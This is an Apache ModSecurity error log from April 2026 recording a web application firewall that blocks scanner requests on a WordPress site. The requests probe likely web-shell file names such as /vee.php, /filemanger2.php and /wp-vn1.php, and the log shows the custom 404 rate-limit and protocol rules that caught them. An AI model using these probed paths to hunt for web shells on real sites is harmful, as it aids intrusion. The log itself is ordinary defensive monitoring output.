[Fri Apr 10 16:26:39.176614 2026] [:error] [pid 13102:tid 13167] [client 172.213.241.33:10791] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "adi0P_9xLvjW2guI55YTiAAAAAc"]
[Fri Apr 10 16:26:39.645081 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:10769] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adi0P4a41m-BS8mg82cMCAAAANA"]
[Fri Apr 10 16:26:40.107544 2026] [:error] [pid 3934:tid 3958] [client 172.213.241.33:10775] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adi0QIa41m-BS8mg82cMDQAAANM"]
[Fri Apr 10 16:26:40.581109 2026] [:error] [pid 13102:tid 13161] [client 172.213.241.33:10802] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adi0QP9xLvjW2guI55YTogAAAAE"]
[Fri Apr 10 16:26:41.047848 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:11032] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class20.php"] [unique_id "adi0QZAxiJKPums3eBAXywAAAFA"]
[Fri Apr 10 16:26:41.513639 2026] [:error] [pid 13101:tid 13142] [client 172.213.241.33:10797] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adi0Qd8Ldw85818pj2pkgAAAAIk"]
[Fri Apr 10 16:26:41.979920 2026] [:error] [pid 13100:tid 13111] [client 172.213.241.33:10761] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adi0QVzg-ZkZ0InWIP1WgwAAAQY"]
[Fri Apr 10 16:26:42.444245 2026] [:error] [pid 13189:tid 13204] [client 172.213.241.33:11000] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adi0QpAxiJKPums3eBAX0wAAAEw"]
[Fri Apr 10 16:26:42.906184 2026] [:error] [pid 3934:tid 3956] [client 172.213.241.33:10723] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file18.php"] [unique_id "adi0Qoa41m-BS8mg82cMGwAAANE"]
[Fri Apr 10 16:26:43.367150 2026] [:error] [pid 3934:tid 3949] [client 172.213.241.33:10814] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adi0Q4a41m-BS8mg82cMHwAAAMo"]
[Fri Apr 10 16:26:43.828631 2026] [:error] [pid 13189:tid 13197] [client 172.213.241.33:10776] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adi0Q5AxiJKPums3eBAX3gAAAEU"]
[Fri Apr 10 16:26:44.297736 2026] [:error] [pid 13189:tid 13215] [client 172.213.241.33:10890] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adi0RJAxiJKPums3eBAX4gAAAFc"]
[Fri Apr 10 16:26:44.771867 2026] [:error] [pid 3934:tid 3940] [client 172.213.241.33:10768] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vee.php"] [unique_id "adi0RIa41m-BS8mg82cMLgAAAME"]
[Fri Apr 10 16:26:45.235455 2026] [:error] [pid 13189:tid 13195] [client 172.213.241.33:10941] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adi0RZAxiJKPums3eBAX6AAAAEM"]
[Fri Apr 10 16:26:45.709034 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:10933] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adi0RYa41m-BS8mg82cMNAAAANY"]
[Fri Apr 10 16:26:46.171644 2026] [:error] [pid 3934:tid 3942] [client 172.213.241.33:10801] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adi0Roa41m-BS8mg82cMPQAAAMM"]
[Fri Apr 10 16:26:46.651249 2026] [:error] [pid 13102:tid 13176] [client 172.213.241.33:10895] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cabs.php"] [unique_id "adi0Rv9xLvjW2guI55YTsAAAABA"]
[Fri Apr 10 16:26:47.109052 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:10934] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adi0R4a41m-BS8mg82cMQQAAANQ"]
[Fri Apr 10 16:26:47.568796 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:10710] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adi0R4a41m-BS8mg82cMQwAAANY"]
[Fri Apr 10 16:26:48.028620 2026] [:error] [pid 13100:tid 13117] [client 172.213.241.33:10891] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adi0SFzg-ZkZ0InWIP1WjgAAAQw"]
[Fri Apr 10 16:26:48.484704 2026] [:error] [pid 13101:tid 13139] [client 172.213.241.33:10807] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xwx1.php"] [unique_id "adi0SN8Ldw85818pj2pkkwAAAIY"]
[Fri Apr 10 16:26:48.945592 2026] [:error] [pid 13101:tid 13147] [client 172.213.241.33:10765] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adi0SN8Ldw85818pj2pklQAAAI4"]
[Fri Apr 10 16:26:49.402752 2026] [:error] [pid 13100:tid 13115] [client 172.213.241.33:10790] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adi0SVzg-ZkZ0InWIP1WkwAAAQo"]
[Fri Apr 10 16:26:49.876208 2026] [:error] [pid 13189:tid 13197] [client 172.213.241.33:10714] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adi0SZAxiJKPums3eBAYBgAAAEU"]
[Fri Apr 10 16:26:50.334774 2026] [:error] [pid 13102:tid 13178] [client 172.213.241.33:10720] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x1da.php"] [unique_id "adi0Sv9xLvjW2guI55YTwgAAABI"]
[Fri Apr 10 16:26:50.795700 2026] [:error] [pid 13102:tid 13174] [client 172.213.241.33:11002] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adi0Sv9xLvjW2guI55YTxgAAAA4"]
[Fri Apr 10 16:26:51.255602 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:11210] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adi0S4a41m-BS8mg82cMUQAAANc"]
[Fri Apr 10 16:26:51.720662 2026] [:error] [pid 13102:tid 13162] [client 172.213.241.33:10741] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "adi0S_9xLvjW2guI55YTzwAAAAI"]
[Fri Apr 10 17:03:54.810900 2026] [:error] [pid 13189:tid 13194] [client 43.166.7.113:45352] [client 43.166.7.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adi8-pAxiJKPums3eBAyXgAAAEI"]
[Fri Apr 10 18:53:41.492154 2026] [:error] [pid 25984:tid 26006] [client 113.19.183.18:35143] [client 113.19.183.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.19.183.18, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "adjWtbsdbY_MC14OH16ViQAAAVE"]
[Fri Apr 10 20:53:43.662960 2026] [:error] [pid 13189:tid 13200] [client 43.131.23.154:50930] [client 43.131.23.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adjy15AxiJKPums3eBCsngAAAEg"]
[Fri Apr 10 21:49:22.097832 2026] [:error] [pid 63062:tid 63074] [client 43.130.141.193:33434] [client 43.130.141.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "adj_4p2HtsmV85NqkMfzqwAAA4o"]
[Fri Apr 10 23:29:04.301222 2026] [:error] [pid 62769:tid 62785] [client 158.158.53.142:49502] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adkXQMWsSnfLoB8ifjDCPQAAAk4"]
[Fri Apr 10 23:29:04.842530 2026] [:error] [pid 62710:tid 62736] [client 158.158.53.142:48834] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adkXQOME7qrf5xEWWJtHdwAAAhc"]
[Fri Apr 10 23:29:05.394040 2026] [:error] [pid 62769:tid 62775] [client 158.158.53.142:48850] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adkXQcWsSnfLoB8ifjDCQAAAAkQ"]
[Fri Apr 10 23:29:05.957269 2026] [:error] [pid 62769:tid 62771] [client 158.158.53.142:50139] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/flox.php"] [unique_id "adkXQcWsSnfLoB8ifjDCRAAAAkA"]
[Fri Apr 10 23:29:06.468488 2026] [:error] [pid 13101:tid 13148] [client 158.158.53.142:48836] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adkXQt8Ldw85818pj2ohJgAAAI8"]
[Fri Apr 10 23:29:06.972666 2026] [:error] [pid 13189:tid 13192] [client 158.158.53.142:48957] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adkXQpAxiJKPums3eBAL6QAAAEA"]
[Fri Apr 10 23:29:07.467669 2026] [:error] [pid 62769:tid 62775] [client 158.158.53.142:49535] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adkXQ8WsSnfLoB8ifjDCSwAAAkQ"]
[Fri Apr 10 23:29:07.964369 2026] [:error] [pid 13189:tid 13214] [client 158.158.53.142:48897] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mff.php"] [unique_id "adkXQ5AxiJKPums3eBAL7gAAAFY"]
[Fri Apr 10 23:29:08.442263 2026] [:error] [pid 13189:tid 13209] [client 158.158.53.142:51472] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adkXRJAxiJKPums3eBAL9AAAAFE"]
[Fri Apr 10 23:29:09.202754 2026] [:error] [pid 62769:tid 62783] [client 158.158.53.142:49482] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adkXRcWsSnfLoB8ifjDCXwAAAkw"]
[Fri Apr 10 23:29:09.753469 2026] [:error] [pid 13101:tid 13142] [client 158.158.53.142:48859] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adkXRd8Ldw85818pj2ohLAAAAIk"]
[Fri Apr 10 23:29:10.332453 2026] [:error] [pid 63134:tid 63155] [client 158.158.53.142:48907] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aq.php"] [unique_id "adkXRtFALqPDwWi6eJLKJgAAA9I"]
[Fri Apr 10 23:29:10.822658 2026] [:error] [pid 13189:tid 13206] [client 158.158.53.142:51504] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adkXRpAxiJKPums3eBAMAwAAAE4"]
[Fri Apr 10 23:29:11.323187 2026] [:error] [pid 62819:tid 62826] [client 158.158.53.142:50132] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adkXR_U20EyPf7NlsleFWAAAAoQ"]
[Fri Apr 10 23:29:11.832634 2026] [:error] [pid 13189:tid 13192] [client 158.158.53.142:50112] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adkXR5AxiJKPums3eBAMBwAAAEA"]
[Fri Apr 10 23:29:12.475393 2026] [:error] [pid 62819:tid 62825] [client 158.158.53.142:48900] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanger2.php"] [unique_id "adkXSPU20EyPf7NlsleFWgAAAoM"]
[Fri Apr 10 23:29:13.040943 2026] [:error] [pid 62769:tid 62793] [client 158.158.53.142:50149] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXScWsSnfLoB8ifjDCeQAAAlY"]
[Fri Apr 10 23:29:13.533980 2026] [:error] [pid 62710:tid 62717] [client 158.158.53.142:52140] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXSeME7qrf5xEWWJtHhAAAAgQ"]
[Fri Apr 10 23:29:14.031590 2026] [:error] [pid 62769:tid 62789] [client 158.158.53.142:50114] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXSsWsSnfLoB8ifjDCfwAAAlI"]
[Fri Apr 10 23:29:14.527579 2026] [:error] [pid 63134:tid 63158] [client 158.158.53.142:48841] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dx.php"] [unique_id "adkXStFALqPDwWi6eJLKKwAAA9U"]
[Fri Apr 10 23:29:15.050934 2026] [:error] [pid 62884:tid 62905] [client 158.158.53.142:52154] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adkXS-UCK1xrhnnmpo2bbwAAAs4"]
[Fri Apr 10 23:29:15.540091 2026] [:error] [pid 13189:tid 13211] [client 158.158.53.142:52115] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adkXS5AxiJKPums3eBAMEgAAAFM"]
[Fri Apr 10 23:29:16.110795 2026] [:error] [pid 63062:tid 63082] [client 158.158.53.142:50155] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-vn1.php"] [unique_id "adkXTJ2HtsmV85NqkMcRIgAAA5I"]
